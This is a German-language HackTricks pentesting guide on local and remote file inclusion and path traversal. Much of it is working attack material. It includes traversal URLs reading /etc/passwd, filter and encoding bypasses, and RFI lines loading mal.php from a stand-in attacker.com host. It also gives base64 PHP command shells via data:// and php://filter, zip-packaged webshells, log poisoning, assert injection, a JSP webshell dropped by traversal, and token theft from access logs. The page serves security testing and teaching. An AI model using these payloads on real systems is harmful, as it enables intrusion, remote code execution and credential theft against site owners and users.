File Inclusion/Path traversal

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

File Inclusion

Remote File Inclusion (RFI): Die Datei wird von einem entfernten Server geladen (Am besten: Sie können den Code schreiben und der Server führt ihn aus). In PHP ist dies standardmäßig deaktiviert (allow_url_include).
Local File Inclusion (LFI): Der Server lädt eine lokale Datei.

Die Schwachstelle entsteht, wenn ein Benutzer in irgendeiner Weise die Datei kontrollieren kann, die vom Server geladen werden soll.

Anfällige PHP-Funktionen: require, require_once, include, include_once

Ein interessantes Tool, um diese Schwachstelle auszunutzen: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Durch das Zusammenführen mehrerer *nix LFI-Listen und Hinzufügen weiterer Pfade habe ich diese erstellt:

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Versuche auch, / durch \.
Versuche auch, ../../../../../ hinzuzufügen

A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found here

Windows

Zusammenführung verschiedener wordlists:

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt

Versuche auch, / durch \.
Versuche auch, C:/ zu entfernen und ../../../../../ hinzuzufügen

A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found here

OS X

Siehe die LFI-Liste von linux.

Grundlegende LFI und Bypässe

Alle Beispiele beziehen sich auf Local File Inclusion, können aber auch auf Remote File Inclusion angewendet werden (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences nicht rekursiv entfernt

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Bypass des Anhängens zusätzlicher Zeichen an das Ende der bereitgestellten Zeichenkette (bypass von: $_GET[‘param’].“php”)

http://example.com/index.php?page=../../../etc/passwd%00

Das ist seit PHP 5.4 behoben

Kodierung

Du könntest nicht-standardmäßige Kodierungen wie double URL encode (und andere) verwenden:

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

HTML-to-PDF SVG/IMG path traversal

Moderne HTML-to-PDF-Engines (z. B. TCPDF oder Wrapper wie html2pdf) parsen problemlos von Angreifern bereitgestelltes HTML, SVG, CSS und font URLs, laufen jedoch in vertrauenswürdigen Backend-Netzwerken mit Dateisystemzugriff. Sobald Sie HTML in $pdf->writeHTML()/Html2Pdf::writeHTML() injizieren können, können Sie oft exfiltrate local files, die das Webserverkonto lesen kann.

  • Fingerprint the renderer: Jedes erzeugte PDF enthält ein Producer-Feld (z. B. TCPDF 6.8.2). Die genaue Build-Version zu kennen sagt Ihnen, welche Pfadfilter vorhanden sind und ob URL-Decoding vor der Validierung stattfindet.
  • Inline SVG payloads: TCPDF::startSVGElementHandler() liest das xlink:href-Attribut von <image>-Elementen, bevor urldecode() ausgeführt wird. Das Einbetten eines bösartigen SVG in eine data URI lässt viele HTML-Sanitizer die Nutzlast ignorieren, während TCPDF sie weiterhin parst:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />

TCPDF fügt $_SERVER['DOCUMENT_ROOT'] an Pfade, die mit / beginnen, an und löst .. erst später auf. Verwende daher entweder führende ../../..-Segmente oder /../../.., um das Root-Verzeichnis nach dem Anfügen zu umgehen.

  • Encoding, um naive Filter zu umgehen: Versionen ≤6.8.2 prüfen nur auf die wörtliche Teilzeichenkette ../ vor dem Decodieren der URL. Das Senden von ..%2f (oder ..%2F) im SVG oder in einem rohen <img src>-Attribut umgeht die Prüfung, weil die Traversal-Dot-Dot-Slash-Sequenz erst nach dem Aufruf von urldecode() durch TCPDF wiederhergestellt wird.
  • Doppelte Kodierung für mehrstufiges Decoding: Wenn Benutzereingabe vom Web-Framework und von TCPDF decodiert wird, doppelkodieren Sie den Slash (%252f). Eine Decodierung macht daraus %2f, die zweite Decodierung in TCPDF macht daraus /, was /..%252f../../../../… ergibt, ohne jemals ../ dem frühen Filter zu zeigen.
  • HTML <img> handler: TCPDF::openHTMLTagHandler() enthält denselben Reihenfolge-der-Operationen-Fehler, der direkte HTML-Payloads wie src="%2f..%252f..%252ftmp%252fsecret.png" ermöglicht, um beliebige lokal erreichbare Bitmaps zu lesen.

Diese Technik leaks alles, was vom PDF-Worker lesbar ist (Reisepass-Scans, als Bilder gerenderte API keys, etc.). Hardeners haben es in 6.9.1 durch Kanonisierung der Pfade (isRelativePath()) behoben, daher priorisiere bei Tests ältere Producer-Versionen.

Vom vorhandenen Ordner

Möglicherweise prüft das Backend den Ordnerpfad:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Erkundung von Dateisystemverzeichnissen auf einem Server

Das Dateisystem eines Servers kann rekursiv durchsucht werden, um Verzeichnisse (nicht nur Dateien) zu identifizieren, indem bestimmte Techniken angewendet werden. Dieser Prozess umfasst das Bestimmen der Verzeichnistiefe und das Abfragen des Vorhandenseins bestimmter Ordner. Nachfolgend eine detaillierte Methode, um dies zu erreichen:

  1. Verzeichnistiefe bestimmen: Ermitteln Sie die Tiefe Ihres aktuellen Verzeichnisses, indem Sie erfolgreich die Datei /etc/passwd abrufen (gilt, falls der Server Linux-basiert ist). Eine Beispiel-URL könnte wie folgt aufgebaut sein und eine Tiefe von drei anzeigen:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Nach Ordnern suchen: Füge den Namen des verdächtigen Ordners (z. B. private) an die URL an, und navigiere dann zurück zu /etc/passwd. Die zusätzliche Verzeichnisebene erfordert, die depth um eins zu erhöhen:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Ergebnisse interpretieren: Die Server-Antwort gibt an, ob der Ordner existiert:
  • Fehler / Keine Ausgabe: Der Ordner private existiert wahrscheinlich nicht am angegebenen Ort.
  • Inhalt von /etc/passwd: Die Existenz des Ordners private ist bestätigt.
  1. Rekursive Erkundung: Gefundene Ordner können weiter auf Unterverzeichnisse oder Dateien untersucht werden, indem dieselbe Technik oder traditionelle Local File Inclusion (LFI)-Methoden verwendet werden.

Um Verzeichnisse an anderen Orten im Dateisystem zu erkunden, passe die Payload entsprechend an. Zum Beispiel, um zu prüfen, ob /var/www/ ein Verzeichnis private enthält (angenommen, das aktuelle Verzeichnis befindet sich in einer Tiefe von 3), verwende:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation ist eine Methode, die verwendet wird, um Dateipfade in Webanwendungen zu manipulieren. Sie wird häufig eingesetzt, um auf eingeschränkte Dateien zuzugreifen, indem bestimmte Sicherheitsmaßnahmen umgangen werden, die zusätzliche Zeichen an das Ende von Dateipfaden anhängen. Ziel ist es, einen Dateipfad so zu gestalten, dass er, nachdem er von der Sicherheitsmaßnahme verändert wurde, trotzdem noch auf die gewünschte Datei zeigt.

In PHP können verschiedene Darstellungen eines Dateipfads aufgrund der Natur des Dateisystems als äquivalent betrachtet werden. Zum Beispiel:

  • /etc/passwd, /etc//passwd, /etc/./passwd, and /etc/passwd/ werden alle als derselbe Pfad behandelt.
  • Wenn die letzten 6 Zeichen passwd sind, ändert das Anhängen eines / (also passwd/) die angezielte Datei nicht.
  • Wenn einem Dateipfad .php angehängt ist (z. B. shellcode.php), verändert das Hinzufügen von /. am Ende die zugegriffene Datei nicht.

Die folgenden Beispiele zeigen, wie man path truncation nutzt, um auf /etc/passwd zuzugreifen, ein häufiges Ziel aufgrund seines sensiblen Inhalts (Informationen zu Benutzerkonten):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

In diesen Szenarien kann die Anzahl der benötigten Traversals etwa 2027 betragen, aber diese Zahl kann je nach Konfiguration des Servers variieren.

  • Verwendung von Punktsegmenten und zusätzlichen Zeichen: Traversal sequences (../) kombiniert mit zusätzlichen Punktsegmenten und Zeichen können verwendet werden, um im Dateisystem zu navigieren und angehängte Strings, die vom Server hinzugefügt wurden, effektiv zu neutralisieren.
  • Bestimmung der benötigten Anzahl an Traversals: Durch Versuch und Irrtum kann man die genaue Anzahl der ../-Sequenzen finden, die benötigt werden, um zum Root-Verzeichnis und dann zu /etc/passwd zu gelangen, wobei sichergestellt wird, dass angehängte Strings (wie .php) neutralisiert werden, der gewünschte Pfad (/etc/passwd) aber erhalten bleibt.
  • Beginnen mit einem Fake-Verzeichnis: Es ist üblich, den Pfad mit einem nicht existierenden Verzeichnis (z. B. a/) zu beginnen. Diese Technik dient als Vorsichtsmaßnahme oder um die Anforderungen der Pfadparsing-Logik des Servers zu erfüllen.

Beim Einsatz von Techniken zur Pfadkürzung ist es entscheidend, das Pfadparsing-Verhalten des Servers und die Struktur des Dateisystems zu verstehen. Jedes Szenario kann einen anderen Ansatz erfordern, und Tests sind oft notwendig, um die effektivste Methode zu finden.

Diese Schwachstelle wurde in PHP 5.3 behoben.

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

In php ist dies standardmäßig deaktiviert, weil allow_url_include auf Off steht. Es muss auf On gesetzt sein, damit es funktioniert, und in diesem Fall könntest du eine PHP-Datei von deinem Server einbinden und RCE erhalten:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Wenn aus irgendeinem Grund allow_url_include auf On steht, PHP aber den Zugriff auf externe Webseiten filtert, laut diesem Beitrag, kannst du zum Beispiel das data-Protokoll mit base64 verwenden, um einen b64 PHP-Code zu dekodieren und RCE zu erlangen:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

Tip

Im vorherigen Code wurde das abschließende +.txt hinzugefügt, weil der Angreifer einen string benötigte, der auf .txt endet, sodass der string damit endet und nach dem b64 decode dieser Teil nur Müll zurückgibt und der echte PHP-Code eingebunden (und damit ausgeführt) wird.

Ein weiteres Beispiel, das nicht das php://-Protokoll verwendet, wäre:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python Root-Element

In python, in einem Code wie diesem:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Wenn der Benutzer einen absoluten Pfad an file_name übergibt, wird der vorherige Pfad einfach entfernt:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

Es ist das beabsichtigte Verhalten laut the docs:

Wenn eine Komponente ein absoluter Pfad ist, werden alle vorherigen Komponenten verworfen und das Zusammenfügen setzt sich ab der absoluten Pfadkomponente fort.

Java Verzeichnisse auflisten

Es sieht so aus, dass wenn du eine Path Traversal in Java hast und du ein Verzeichnis anfragst statt einer Datei, eine Auflistung des Verzeichnisses zurückgegeben wird. Das passiert in anderen Sprachen nicht (afaik).

Top 25 Parameter

Hier ist eine Liste der Top-25-Parameter, die anfällig für local file inclusion (LFI) vulnerabilities sein könnten (von link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI using PHP wrappers & protocols

php://filter

PHP-Filter erlauben die Durchführung grundlegender Modifikationsoperationen an den Daten, bevor diese gelesen oder geschrieben werden. Es gibt 5 Kategorien von Filtern:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Entfernt Tags aus den Daten (alles zwischen den Zeichen “<” und “>”)
  • Beachte, dass dieser Filter in modernen PHP-Versionen verschwunden ist
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Transformiert in eine andere Kodierung (convert.iconv.<input_enc>.<output_enc>). Um die Liste aller unterstützten Encodings zu erhalten, führe in der Konsole aus: iconv -l

Warning

Wenn du den convert.iconv.* Conversion-Filter missbrauchst, kannst du beliebigen Text erzeugen, was nützlich sein kann, um beliebigen Text zu schreiben oder Funktionen wie include dazu zu bringen, beliebigen Text zu verarbeiten. Für mehr Infos siehe LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: Komprimiert den Inhalt (nützlich, wenn viel info exfiltrating)
  • zlib.inflate: Dekomprimiert die Daten
  • Encryption Filters
  • mcrypt.* : Veraltet
  • mdecrypt.* : Veraltet
  • Other Filters
  • Wenn du in PHP var_dump(stream_get_filters()); ausführst, findest du ein paar unerwartete Filter:
  • consumed
  • dechunk: kehrt die HTTP chunked encoding um
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Warning

Der Teil “php://filter” ist case-insensitive

Verwendung von php filters als oracle zum Lesen beliebiger Dateien

In this post wird eine Technik vorgeschlagen, um eine lokale Datei zu lesen, ohne dass die Ausgabe vom Server zurückgegeben wird. Diese Technik basiert auf einer boolean exfiltration der Datei (Zeichen für Zeichen) unter Verwendung von php filters als oracle. Das liegt daran, dass php filters verwendet werden können, um einen Text so groß zu machen, dass php eine Ausnahme auslöst.

Im ursprünglichen Beitrag findest du eine detaillierte Erklärung der Technik, hier eine kurze Zusammenfassung:

  • Verwende den Codec UCS-4LE, um das führende Zeichen des Textes am Anfang zu belassen und die Größe des Strings exponentiell zu vergrößern.
  • Das wird verwendet, um einen Text zu erzeugen, der so groß wird, sobald der Anfangsbuchstabe korrekt geraten wurde, dass php einen Fehler auslöst.
  • Der dechunk-Filter wird alles entfernen, wenn das erste Zeichen kein hexadezimales Zeichen ist, sodass wir wissen, ob das erste Zeichen hex ist.
  • Dies, kombiniert mit dem vorherigen (und anderen Filtern abhängig vom geratenen Buchstaben), erlaubt es uns, einen Buchstaben am Anfang des Textes zu erraten, indem wir sehen, wann wir genug Transformationen durchführen, damit er kein hexadezimales Zeichen mehr ist. Denn wenn er hex ist, löscht dechunk ihn nicht und die initiale Bombe verursacht einen php-Fehler.
  • Der Codec convert.iconv.UNICODE.CP930 transformiert jeden Buchstaben in den folgenden (also nach diesem Codec: a -> b). Das erlaubt uns zu erkennen, ob der erste Buchstabe z. B. ein a ist, weil wenn wir diesen Codec sechsmal anwenden (a->b->c->d->e->f->g), das Zeichen kein hexadezimales Zeichen mehr ist; daher löscht dechunk es nicht und der php-Fehler wird ausgelöst, da er sich mit der initialen Bombe multipliziert.
  • Mit anderen Transformationen wie rot13 am Anfang ist es möglich, andere Zeichen wie n, o, p, q, r zu leaken (und andere Codecs können verwendet werden, um andere Buchstaben in den Hex-Bereich zu verschieben).
  • Wenn das Anfangszeichen eine Zahl ist, muss es base64-kodiert werden und die ersten 2 Buchstaben geleaked werden, um die Zahl zu leaken.
  • Das finale Problem ist zu sehen, wie man mehr als das Anfangszeichen leaket. Durch Verwendung von order memory filters wie convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE ist es möglich, die Reihenfolge der Zeichen zu ändern und andere Buchstaben des Textes an die erste Position zu bringen.
  • Und um weitere Daten zu erhalten, ist die Idee, 2 bytes of junk data at the beginning mit convert.iconv.UTF16.UTF16 zu generieren, UCS-4LE anzuwenden, damit es pivot with the next 2 bytes, und dlösche die Daten bis zu den Junk-Daten (dies wird die ersten 2 Bytes des ursprünglichen Textes entfernen). Fahre damit fort, bis du das gewünschte Bit zum leak erreichst.

Im Beitrag wurde auch ein Tool leaked, das dies automatisch durchführt: php_filters_chain_oracle_exploit.

php://fd

Dieser Wrapper erlaubt den Zugriff auf Dateideskriptoren, die der Prozess geöffnet hat. Potenziell nützlich, um den Inhalt geöffneter Dateien zu exfiltrieren:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Du kannst auch php://stdin, php://stdout und php://stderr verwenden, um jeweils auf die Dateideskriptoren 0, 1 und 2 zuzugreifen (ich bin mir nicht sicher, wie das in einem Angriff nützlich sein könnte)

zip:// und rar://

Lade eine Zip- oder Rar-Datei mit einer PHPShell darin hoch und greife darauf zu.
Um das rar-Protokoll missbrauchen zu können, muss es speziell aktiviert werden.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Beachte, dass dieses Protokoll durch php-Konfigurationen allow_url_open und allow_url_include eingeschränkt ist

expect://

Expect muss aktiviert sein. Du kannst code damit ausführen:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Gib dein payload in den POST-Parametern an:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Eine .phar-Datei kann verwendet werden, um PHP-Code auszuführen, wenn eine Webanwendung Funktionen wie include zum Laden von Dateien nutzt. Das untenstehende PHP-Codebeispiel zeigt die Erstellung einer .phar-Datei:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Um die .phar-Datei zu kompilieren, sollte der folgende Befehl ausgeführt werden:

php --define phar.readonly=0 create_path.php

Bei Ausführung wird eine Datei namens test.phar erstellt, die potenziell genutzt werden kann, um Local File Inclusion (LFI)-Schwachstellen auszunutzen.

Wenn das LFI nur Dateien liest, ohne den darin enthaltenen PHP-Code auszuführen — etwa über Funktionen wie file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime() oder filesize() —, kann versucht werden, eine deserialization-Schwachstelle auszunutzen. Diese Schwachstelle hängt mit dem Lesen von Dateien über das phar protocol zusammen.

Für ein detailliertes Verständnis zur Ausnutzung von deserialization-Schwachstellen im Kontext von .phar-Dateien siehe das unten verlinkte Dokument:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

Es war möglich, beliebige Datei-Leseoperationen von PHP, die php filters unterstützen, auszunutzen, um RCE zu erreichen. Die detaillierte Beschreibung kann found in this post.
Kurz zusammengefasst: Ein 3 byte overflow im PHP-Heap wurde ausgenutzt, um die Kette freier Chunks einer bestimmten Größe zu verändern, sodass beliebige Daten an beliebige Adressen geschrieben werden konnten; daher wurde ein Hook hinzugefügt, der system aufruft.
Es war möglich, Chunks bestimmter Größen zu alloc’en, indem weitere php filters missbraucht wurden.

More protocols

Weitere mögliche protocols to include here:

  • php://memory and php://temp — Schreibe in den Speicher oder in eine temporäre Datei (not sure how this can be useful in a file inclusion attack)
  • file:// — Zugriff auf das lokale Dateisystem
  • http:// — Zugriff auf HTTP(s)-URLs
  • ftp:// — Zugriff auf FTP(s)-URLs
  • zlib:// — Kompressions-Streams
  • glob:// — Findet Pfadnamen, die einem Muster entsprechen (Gibt nichts Druckbares zurück, daher hier nicht wirklich nützlich)
  • ssh2:// — Secure Shell 2
  • ogg:// — Audiostreams (Nicht nützlich, um beliebige Dateien zu lesen)

LFI via PHP’s ‘assert’

Local File Inclusion (LFI)-Risiken in PHP sind besonders hoch, wenn die ‘assert’-Funktion verwendet wird, da sie Code in Strings ausführen kann. Das ist besonders problematisch, wenn Eingaben mit directory traversal-Zeichen wie “..” geprüft, aber nicht richtig bereinigt werden.

Beispielsweise könnte PHP-Code so gestaltet sein, dass directory traversal wie folgt verhindert wird:

assert("strpos('$file', '..') === false") or die("");

Während dies darauf abzielt, traversal zu verhindern, erzeugt es unbeabsichtigt einen Vektor für code injection. Um dies auszunutzen, um Dateiinhalte zu lesen, könnte ein Angreifer Folgendes verwenden:

' and die(highlight_file('/etc/passwd')) or '

Ebenso könnte man zum Ausführen beliebiger Systembefehle Folgendes verwenden:

' and die(system("id")) or '

Es ist wichtig, URL-encode these payloads.

PHP Blind Path Traversal

Warning

Diese Technik ist relevant in Fällen, in denen du den Dateipfad einer PHP-Funktion kontrollierst, die eine Datei öffnet, du aber den Inhalt der Datei nicht sehen wirst (wie ein einfacher Aufruf von file()) und der Inhalt nicht angezeigt wird.

In this incredible post wird erklärt, wie ein blind path traversal über PHP-Filter missbraucht werden kann, um exfiltrate the content of a file via an error oracle.

Kurz zusammengefasst: Die Technik nutzt die “UCS-4LE” encoding, um den Inhalt einer Datei so groß zu machen, dass die PHP function, die die Datei öffnet, einen error auslöst.

Dann wird, um das erste Zeichen zu leak, der Filter dechunk zusammen mit anderen wie base64 oder rot13 verwendet; schließlich werden die Filter convert.iconv.UCS-4.UCS-4LE und convert.iconv.UTF16.UTF-16BE benutzt, um weitere Zeichen an den Anfang zu setzen und diese zu leak.

Funktionen, die möglicherweise verwundbar sind: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Für die technischen Details siehe den genannten Beitrag!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

Wenn serverseitiger Code, der Dateien entgegennimmt/uploadet, den Zielpfad anhand von user-controlled data (z. B. einem Dateinamen oder einer URL) erstellt, ohne zu kanonisieren und zu validieren, können ..-Segmente und absolute Pfade aus dem vorgesehenen Verzeichnis ausbrechen und einen arbitrary file write verursachen. Wenn du das payload in ein web-exponiertes Verzeichnis platzieren kannst, bekommst du in der Regel unauthenticated RCE, indem du eine webshell ablegst.

Typischer Exploit-Ablauf:

  • Identifiziere ein write primitive in einem Endpoint oder Background Worker, das einen path/filename akzeptiert und Inhalt auf die Festplatte schreibt (z. B. message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
  • Bestimme web-exposed directories. Häufige Beispiele:
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • Erzeuge einen Traversal-Pfad, der aus dem vorgesehenen Storage-Verzeichnis in den Webroot ausbricht, und füge deinen webshell-Inhalt ein.
  • Rufe das abgelegte payload im Browser auf und führe Befehle aus.

Hinweise:

  • Der verwundbare Dienst, der den Schreibvorgang ausführt, kann auf einem non-HTTP port hören (z. B. ein JMF XML listener auf TCP 4004). Das Haupt-Webportal (anderer Port) wird später dein payload ausliefern.
  • Auf Java-Stacks werden diese Datei-Schreibvorgänge oft mit einfacher File/Paths-Konkatenation implementiert. Fehlende Kanonisierung/Allow-Listing ist der Kernfehler.

Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Härtungsmaßnahmen, die diese Klasse von Bugs verhindern:

  • Auf einen kanonischen Pfad auflösen und prüfen, dass er ein Unterverzeichnis eines erlaubten Basisverzeichnisses ist.
  • Alle Pfade verwerfen, die .., absolute Roots oder Laufwerksbuchstaben enthalten; bevorzugt generierte Dateinamen verwenden.
  • Den Schreibprozess unter einem wenig privilegierten Account ausführen und Schreibverzeichnisse von den ausgelieferten Roots trennen.

Remote File Inclusion

Bereits zuvor erklärt, follow this link.

Über Apache/Nginx-Logdatei

Wenn der Apache- oder Nginx-Server in der include-Funktion gegenüber LFI verwundbar ist, könntest du versuchen, auf /var/log/apache2/access.log oder /var/log/nginx/access.log zuzugreifen, im user agent oder in einem GET parameter eine php shell wie <?php system($_GET['c']); ?> zu platzieren und diese Datei einzubinden

Warning

Beachte, dass wenn du doppelte Anführungszeichen für die Shell statt einfache Anführungszeichen verwendest, die doppelten Anführungszeichen für den String “quote;” verändert werden, PHP dort einen Fehler auslöst und nichts weiter ausgeführt wird.

Stelle außerdem sicher, dass du die payload korrekt schreibst, sonst wird PHP bei jedem Versuch, die Logdatei zu laden, einen Fehler ausgeben und du wirst keine zweite Gelegenheit haben.

Das kann auch in anderen Logs durchgeführt werden, aber sei vorsichtig, der Code in den Logs könnte URL-encoded sein und das könnte die Shell zerstören. Der Header authorisation “basic” enthält “user:password” in Base64 und wird in den Logs dekodiert. Die PHPShell könnte in diesen Header eingefügt werden.
Other possible log paths:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Zugriffsprotokolle lesen, um GET-basierte auth tokens zu erbeuten (token replay)

Viele Apps akzeptieren fälschlicherweise session/auth tokens über GET (z. B. AuthenticationToken, token, sid). Wenn du eine path traversal/LFI-Primitive zu den web server logs hast, kannst du diese tokens aus den access logs stehlen und sie replayen, um die Authentifizierung vollständig zu umgehen.

How-to:

  • Verwende die traversal/LFI, um das web server access log zu lesen. Übliche Speicherorte:
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • Einige endpoints geben Dateiinhalte Base64-encoded zurück. Falls ja, lokal dekodieren und die log lines inspizieren.
  • Grep nach GET requests, die einen token-Parameter enthalten, dessen Wert erfassen und ihn dann gegen den application entry point replayen.

Example flow (generic):

GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

Dekodiere den Body, wenn er Base64-codiert ist, und spiele dann ein captured token ab:

GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

Hinweise:

  • Tokens in URLs werden standardmäßig protokolliert; akzeptiere niemals bearer tokens über GET in Produktionssystemen.
  • Wenn die App mehrere token-Namen unterstützt, suche nach gängigen Keys wie AuthenticationToken, token, sid, access_token.
  • Ersetze alle tokens, die möglicherweise in Logs leaked wurden.

Per E-Mail

